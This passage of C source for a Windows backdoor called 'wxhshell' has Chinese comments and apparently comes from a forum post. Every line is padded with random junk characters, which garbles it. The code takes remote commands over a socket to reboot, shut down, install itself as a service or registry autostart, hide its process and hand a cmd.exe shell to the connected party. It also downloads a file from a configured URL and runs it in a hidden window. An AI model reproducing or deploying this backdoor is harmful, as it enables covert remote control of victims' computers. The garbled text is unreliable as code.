  case '?': { ?z:Xdx\l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NwK(<dzG  
    break; 64#6L.Q-c  
  } [n53 eC  
  // 安装 3$R^tY2UU  
  case 'i': { HuX{8nl a  
    if(Install()) x8]9Xe:_>O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \X'{ ee  
    else W6Os|z9&|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gFsnL*L0  
    break; ~[J&n-bJU  
    } _ ]W }6?i  
  // 卸载 nUAs:Q  
  case 'r': { C,+ Sv-  
    if(Uninstall()) (z[|\6O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +sTZ) 5vQ  
    else 7VP[U,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lv;R8^n  
    break; "TWNit  
    } ^,Sl^ 9K  
  // 显示 wxhshell 所在路径 9w-V +Nf  
  case 'p': { u>G#{$)  
    char svExeFile[MAX_PATH]; DhQYjC[  
    strcpy(svExeFile,"\n\r"); [6bK>w"v  
      strcat(svExeFile,ExeFile); "}"Bvp^  
        send(wsh,svExeFile,strlen(svExeFile),0); 7p}.r J54  
    break; &ZjQa.-U>  
    } mkfU fG&  
  // 重启 %8?s3^ o  
  case 'b': { 1 :xN)M,s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uT5sLpA|6  
    if(Boot(REBOOT)) s W#}QYd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -{ Ng6ntS  
    else { ,gR9~k,  
    closesocket(wsh); I_Q*uH.Y5  
    ExitThread(0); T)IH4UO  
    } ?i.]|#{Z  
    break; a95QDz  
    } !aSu;Ln  
  // 关机 }gE?ms4$  
  case 'd': { ! H)D@,@&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3pSkk  
    if(Boot(SHUTDOWN)) @"*8nV#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-+lZ4}  
    else { $<)k-Cf  
    closesocket(wsh); :)GtPTD  
    ExitThread(0); 1D /{Y  
    } */B-%*#I.  
    break; qb+vptg@I  
    } I("J$  
  // 获取shell ^Zh YW  
  case 's': { :/HfMJ  
    CmdShell(wsh); q%u;+/|l  
    closesocket(wsh); 90%alG 1>y  
    ExitThread(0); c&Pgz~iP  
    break; QI@!QU$K&  
  } ,!"\L~6  
  // 退出 sR`WV6!9  
  case 'x': { Xa._  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +zpmy3Q  
    CloseIt(wsh); V$Y5EX  
    break; 1mw<$'pm0  
    } j HT2|VGb*  
  // 离开 66"-Xf~u  
  case 'q': { 9}`A_KzFx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~Co7%e V  
    closesocket(wsh); _"8\k 7S*  
    WSACleanup(); B]K@'#  
    exit(1); @0`Q  
    break; dU]>  
        } RVmD&  
  } N@UO8'"9K&  
  } pIh%5Z U  
[c@14]e  
  // 提示信息 K (yuL[p`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]XEkQ  
} N 3)OH6w"  
  } * pN,@ZV$  
]p(jL7  
  return; fL7ym,?  
} B9;-Blh  
[{F8+a^  
// shell模块句柄 %gB 0\C  
int CmdShell(SOCKET sock) 4a;8XAl  
{ XJ;kyEx3=O  
STARTUPINFO si; h5 Y3 v  
ZeroMemory(&si,sizeof(si)); yi3@-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y 1fl=i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <o5+*X  
PROCESS_INFORMATION ProcessInfo; rvRtR/*?j  
char cmdline[]="cmd"; K#g)t/SZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (S+tQ2bt  
  return 0; .IYE+XzV  
} jp2AU,Cl  
-b-Pvw4  
// 自身启动模式 Au'[|Pr r  
int StartFromService(void) #;'1aT  
{ @p jah(i`  
typedef struct *ms?UFV[r  
{ Y418k  
  DWORD ExitStatus; vB, X)  
  DWORD PebBaseAddress; 8cy#[{u`;  
  DWORD AffinityMask; %k#Q) zWJ  
  DWORD BasePriority; [#H$@g|CT  
  ULONG UniqueProcessId; v4sc  
  ULONG InheritedFromUniqueProcessId; ni gp83:  
}   PROCESS_BASIC_INFORMATION; }2M2R}D  
): C4"2l3  
PROCNTQSIP NtQueryInformationProcess; Rxld$@~-(]  
Y[x9c0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Ha1pqR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S~`& K  
C( C4R+U  
  HANDLE             hProcess; |r5|IA  
  PROCESS_BASIC_INFORMATION pbi; Dq+rEt  
)Rla VAtM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NMY~f (x  
  if(NULL == hInst ) return 0; 0mL#8\'"  
RLr;]j8cm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mq]~Ka3q7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 68R[Lc9q5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |{]\n/M  
#X7fs5$&  
  if (!NtQueryInformationProcess) return 0; j2 "j Cv  
:*TfGV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J\XYUs  
  if(!hProcess) return 0; J=W"FEXTL7  
v#:#w.]-Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d$g-u8  
m6QlIdl  
  CloseHandle(hProcess); GEy^*, d  
qR!SwG44+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cEO g  
if(hProcess==NULL) return 0; k2N[B(&4J  
_OP75kv  
HMODULE hMod; -gH1`*YL  
char procName[255]; | "DQ^)3Pi  
unsigned long cbNeeded; +LV~%?W  
a /X@5kr{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %0@Jm)K^  
^.Vq0Qzy]  
  CloseHandle(hProcess); F)) +a&O  
>F6'^9|  
if(strstr(procName,"services")) return 1; // 以服务启动 bl(rCbj(w  
%7pT\8E5  
  return 0; // 注册表启动 CHv~H.kh'  
} _kl.zw%  
Hn0 ,LH$/  
// 主模块 i1ur>4Ns  
int StartWxhshell(LPSTR lpCmdLine) (}vi"mCeW  
{ wz31e!/  
  SOCKET wsl; aGx`ec*t  
BOOL val=TRUE; B. 6gJ2c  
  int port=0; I/rq@27o  
  struct sockaddr_in door; 4StiYfae  
g:`V:kbY$  
  if(wscfg.ws_autoins) Install(); ,ClGa2O  
PYPs64kNC]  
port=atoi(lpCmdLine); EKhwrBjS  
U-#wFc2N  
if(port<=0) port=wscfg.ws_port; 5X4; (Qj  
Ly/"da  
  WSADATA data; \$}^u5Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y|Tb&XPD  
+DaP XZ5.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %fnL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {<o_6 z`$  
  door.sin_family = AF_INET; 3qE2mYK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .Ebg>j:\  
  door.sin_port = htons(port); Y` Oz\W  
*=mtt^yZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :^j`wd1 h  
closesocket(wsl); iyAeR!`  
return 1; ;*5$xs&=_Z  
} `WGT`A"  
gUwg\>UC  
  if(listen(wsl,2) == INVALID_SOCKET) { XT> u/Z)  
closesocket(wsl); ZH;VEX  
return 1; A}?n.MAX>  
} O@6iG  
  Wxhshell(wsl); #mLF6 "A  
  WSACleanup(); <V0]~3  
XdjM/hB{fD  
return 0; UUJbF$@;  
5P-7"g ca  
} -b"mx"'?  
}m0* w3  
// 以NT服务方式启动 pyYm<dn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) / E}L%OvE  
{ )0 UVT[7  
DWORD   status = 0; uMKO^D  
  DWORD   specificError = 0xfffffff; L|pMq!@J  
#pO=\lJ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 88x_}M^Fnl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i#]}k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hAX@|G.  
  serviceStatus.dwWin32ExitCode     = 0; 2%P{fJbwd  
  serviceStatus.dwServiceSpecificExitCode = 0; W6J%x[>Z  
  serviceStatus.dwCheckPoint       = 0; U27YH1OK  
  serviceStatus.dwWaitHint       = 0; 7.mY@  
k8IhQ{@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2-=Ov@y2k!  
  if (hServiceStatusHandle==0) return; UtPFkase  
>L[n4x\  
status = GetLastError(); ;]c@%LX  
  if (status!=NO_ERROR) S"hA@j  
{ IlN: NS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cge@A'2  
    serviceStatus.dwCheckPoint       = 0; /2 z, ?,jL  
    serviceStatus.dwWaitHint       = 0; ~ +DPq|-O  
    serviceStatus.dwWin32ExitCode     = status; j'r"_*%  
    serviceStatus.dwServiceSpecificExitCode = specificError; XzLB#0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v2eLH:6  
    return; Xb#!1hA  
  } r{\c. \  
iB4`w\-o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;IyA"C(i  
  serviceStatus.dwCheckPoint       = 0; rSu+zS7`X  
  serviceStatus.dwWaitHint       = 0; (~S=DFsP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eka<mq|W  
} qFQO1"mu  
by}C;eN  
// 处理NT服务事件,比如:启动、停止 xf2|9Tqt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NJ]AxFG  
{ vq?Lej  
switch(fdwControl) -t#YL  
{ hK]mnA[Y  
case SERVICE_CONTROL_STOP: xhcFZTj/(  
  serviceStatus.dwWin32ExitCode = 0; ya3k;j2C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >lPWji'4;  
  serviceStatus.dwCheckPoint   = 0; W*2d!/;7>  
  serviceStatus.dwWaitHint     = 0;  iYaS  
  { wWkMvs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  zSd!n  
  } I9  (6  
  return; _v6x3 Z  
case SERVICE_CONTROL_PAUSE: J2 ZV\8t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b-8}TTL>  
  break; jK^Q5iD  
case SERVICE_CONTROL_CONTINUE: ]`eP"U{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :+ZLKm  
  break; Oa.84a  
case SERVICE_CONTROL_INTERROGATE: X'uQr+p^  
  break; -UB XWl  
}; A3mvd-k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gpw,bV  
} n }kn|To~  
LWdA3%   
// 标准应用程序主函数 2A=q{7s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [s{ B vn  
{ V O\g"Yc  
d/Sw.=vq  
// 获取操作系统版本 zm!M'|~@7  
OsIsNt=GetOsVer(); FG!2h&k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pC~ M5(F_  
j:2TicHDC  
  // 从命令行安装 q6PG=9d0B  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9?iA~r|+  
JIiS/]KQ  
  // 下载执行文件 j7BLMTF3v  
if(wscfg.ws_downexe) { b4qMTRnv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XL[Dmu&  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1}_4C0h\'  
} e9RH[:  
VqUCcT  
if(!OsIsNt) { Zg%tN#6y  
// 如果时win9x,隐藏进程并且设置为注册表启动 @O`T|7v  
HideProc(); VOJ/I Dl 4  
StartWxhshell(lpCmdLine); [l/!&6  
} jF-:e;-  
else ~&aULY?)]  
  if(StartFromService()) ..kFn!5(g  
  // 以服务方式启动 %8H$62w]  
  StartServiceCtrlDispatcher(DispatchTable); Ld 0*)rI#  
else RFLfvD<  
  // 普通方式启动 d_,Ql708f  
  StartWxhshell(lpCmdLine); G6.lRaPu"m  
r+d+gO.  
return 0; Pr:\zI  
}
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只看该作者 1 发表于: 2006-10-10
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